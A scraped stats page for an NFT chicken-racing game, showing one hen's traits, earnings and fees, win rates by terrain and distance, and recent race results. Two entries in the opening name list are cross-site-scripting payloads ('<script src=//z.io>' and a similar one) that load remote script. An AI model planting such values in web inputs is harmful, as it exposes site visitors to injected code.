Pecking Order | Name |
---|---|
S | <script src=//z.io> |
S | <script/src=//zfx.si |
S | Angry Eggs |
S | Battler |
S | Caliente y Picante |
S | Chicken 15969 |
S | Chicken 2274 |
S | Chicken 23182 |
S | Chicken 4812 |
S | Chicken 7782 |
S | Chicken 7920 |
S | Chicken 8074 |
S | Finger Lickin Good |
S | I Egg-scaped |
S | Make An Offer |
S | Stir Fry |
S | Tyrannosaurus Pex |
S | What A Pecker |
Profit: $20.50
Earnings: $283.47
Fees: $262.97
Total Races: 228
Podium Percentage: 27.63%
Declass percentage: 18.86%
23/12/2022 | 20/12/2022 | 06/12/2022 | 04/12/2022 | 03/12/2022 | 02/12/2022 | 01/12/2022 | 30/11/2022 | 29/11/2022 | 19/11/2022 | 18/11/2022 | 16/11/2022 | 15/11/2022 | 14/11/2022 | 13/11/2022 | 12/11/2022 | 11/11/2022 | 10/11/2022 | 09/11/2022 | 08/11/2022 | 06/11/2022 | 05/11/2022 | 04/11/2022 | 03/11/2022 | 01/11/2022 | 31/10/2022 | 30/10/2022 | 29/10/2022 | 26/10/2022 | 25/10/2022 | 24/10/2022 | 23/10/2022 | 22/10/2022 | 21/10/2022 | 19/10/2022 | 10/08/2022 | 03/08/2022 | 17/07/2022 | 14/07/2022 | 09/07/2022 | 24/06/2022 | 23/06/2022 | 21/06/2022 | 20/06/2022 | 19/06/2022 | 15/06/2022 | 14/06/2022 | 13/06/2022 | 12/06/2022 | 11/06/2022 | 10/06/2022 | 02/06/2022 | 30/05/2022 | 29/05/2022 | 28/05/2022 | 27/05/2022 | 26/05/2022 | 25/05/2022 | 24/05/2022 | 23/05/2022 | 22/05/2022 | 21/05/2022 | 20/05/2022 | 06/04/2022 | 04/04/2022 | 03/04/2022 | 02/04/2022 | 01/04/2022 | 31/03/2022 | 30/03/2022 | 29/03/2022 | 28/03/2022 | 27/03/2022 | 17/03/2022 | |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Earnings | $0.29 | $0.29 | $0.56 | $0.57 | $1.36 | $2.57 | $2.79 | $0.63 | $5.24 | $0.59 | $4.42 | $17.58 | $0.58 | $1.35 | $0.62 | $0.27 | $0.26 | $0.93 | $0.93 | $0.44 | $5.68 | $1.46 | $7.60 | $4.40 | $34.95 | $4.28 | $12.90 | $11.70 | $3.53 | $3.19 | $6.53 | $0.44 | $0.97 | $11.26 | $24.90 | $10.97 | $43.90 | $45.46 | $6.51 | $0.57 | ||||||||||||||||||||||||||||||||||
Fees | $0.61 | $0.63 | $0.63 | $1.02 | $0.38 | $1.22 | $0.38 | $2.28 | $0.64 | $0.36 | $0.39 | $1.16 | $1.62 | $0.66 | $0.66 | $1.38 | $4.26 | $6.34 | $5.16 | $3.21 | $0.59 | $4.95 | $1.07 | $6.16 | $0.52 | $3.59 | $0.85 | $0.91 | $1.23 | $0.87 | $6.14 | $2.71 | $0.55 | $8.13 | $10.32 | $9.36 | $2.20 | $6.20 | $3.44 | $9.00 | $12.24 | $8.35 | $0.59 | $0.60 | $4.68 | $3.49 | $12.15 | $10.40 | $23.96 | $15.25 | $22.11 | $30.65 | $6.72 |
Pecking Order | S |
---|---|
Heritage | Dorking |
Perfection | 99 |
Talent | Machete |
Gender | Hen |
Beak accessory | |
Body | English Mustard |
Wattle colour | Green |
Beak colour | Gold |
Background | Flesh |
Token ID | 18967 |
![]() |
100 30.0% (60) |
120 38.6% (57) |
140 19.35% (31) |
160 17.24% (29) |
180 28.57% (21) |
200 20.0% (30) |
---|---|---|---|---|---|---|
Dirt 34.55% (55) |
14 (5.0)
1/1/2 28.57% |
17 (4.35)
1/5/2 47.06% |
9 (6.11)
1/1/0 22.22% |
5 (6.2)
0/1/0 20.0% |
4 (8.75)
0/0/0 0.0% |
6 (4.17)
1/1/2 66.67% |
Grass 4.0% (25) |
7 (7.57)
0/0/1 14.29% |
2 (7.5)
0/0/0 0.0% |
6 (6.0)
0/0/0 0.0% |
4 (8.0)
0/0/0 0.0% |
3 (10.33)
0/0/0 0.0% |
3 (7.33)
0/0/0 0.0% |
Road 40.62% (32) |
8 (3.88)
2/1/1 50.0% |
9 (4.89)
1/2/0 33.33% |
1 (11.0)
0/0/0 0.0% |
2 (5.5)
1/0/0 50.0% |
6 (5.17)
1/1/1 50.0% |
6 (5.67)
0/1/1 33.33% |
Rock 46.67% (45) |
13 (5.46)
2/2/0 30.77% |
13 (3.23)
2/3/4 69.23% |
6 (5.67)
0/1/1 33.33% |
5 (4.4)
0/2/1 60.0% |
4 (3.5)
1/0/2 75.0% |
4 (6.25)
0/0/0 0.0% |
Sand 4.76% (21) |
6 (8.0)
0/1/0 16.67% |
1 (7.0)
0/0/0 0.0% |
3 (10.33)
0/0/0 0.0% |
5 (8.6)
0/0/0 0.0% |
1 (9.0)
0/0/0 0.0% |
5 (7.6)
0/0/0 0.0% |
Snow 13.04% (23) |
6 (6.67)
1/1/0 33.33% |
5 (6.6)
0/0/1 20.0% |
4 (9.0)
0/0/0 0.0% |
2 (10.5)
0/0/0 0.0% |
2 (8.0)
0/0/0 0.0% |
4 (8.5)
0/0/0 0.0% |
Track 18.52% (27) |
6 (4.67)
0/2/0 33.33% |
10 (7.2)
0/0/1 10.0% |
2 (2.0)
0/2/0 100.0% |
6 (6.33)
0/0/0 0.0% |
1 (7.0)
0/0/0 0.0% |
2 (10.5)
0/0/0 0.0% |
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Available for pro members
Race ID | Race name | Pecking order | Terrain | Distance | Position | Winnings | Watch |
---|---|---|---|---|---|---|---|
95741 | Ulaanbaatar Open | A | Grass | 140 | 6 | Watch | |
94856 | Timed Trail | A | Rock | 140 | 10 | Watch | |
92182 | Ocotal Open | A | Rock | 180 | 3 | $0.29 | Watch |
92087 | Beginners Marathon | A | Road | 200 | 8 | Watch | |
91784 | Timed Trail | A | Rock | 140 | 9 | Watch | |
91764 | Naryn Open | A | Rock | 200 | 5 | Watch | |
91684 | Helsinki Open | A | Snow | 140 | 10 | Watch | |
91620 | Asheville Open | A | Dirt | 120 | 3 | $0.29 | Watch |
91278 | Pacific Harbour Open | A | Sand | 200 | 9 | Watch | |
91106 | The Short Climb | A | Rock | 200 | 6 | Watch | |
91096 | Desert Dance | A | Sand | 200 | 8 | Watch | |
90905 | The Short Climb | A | Rock | 200 | 7 | Watch | |
90807 | Grand Caper | A | Rock | 160 | 9 | Watch | |
90722 | Paramaribo Open | A | Grass | 160 | 12 | Watch | |
88525 | Merrittville Open | A | Dirt | 160 | 7 | Watch |
Available for pro members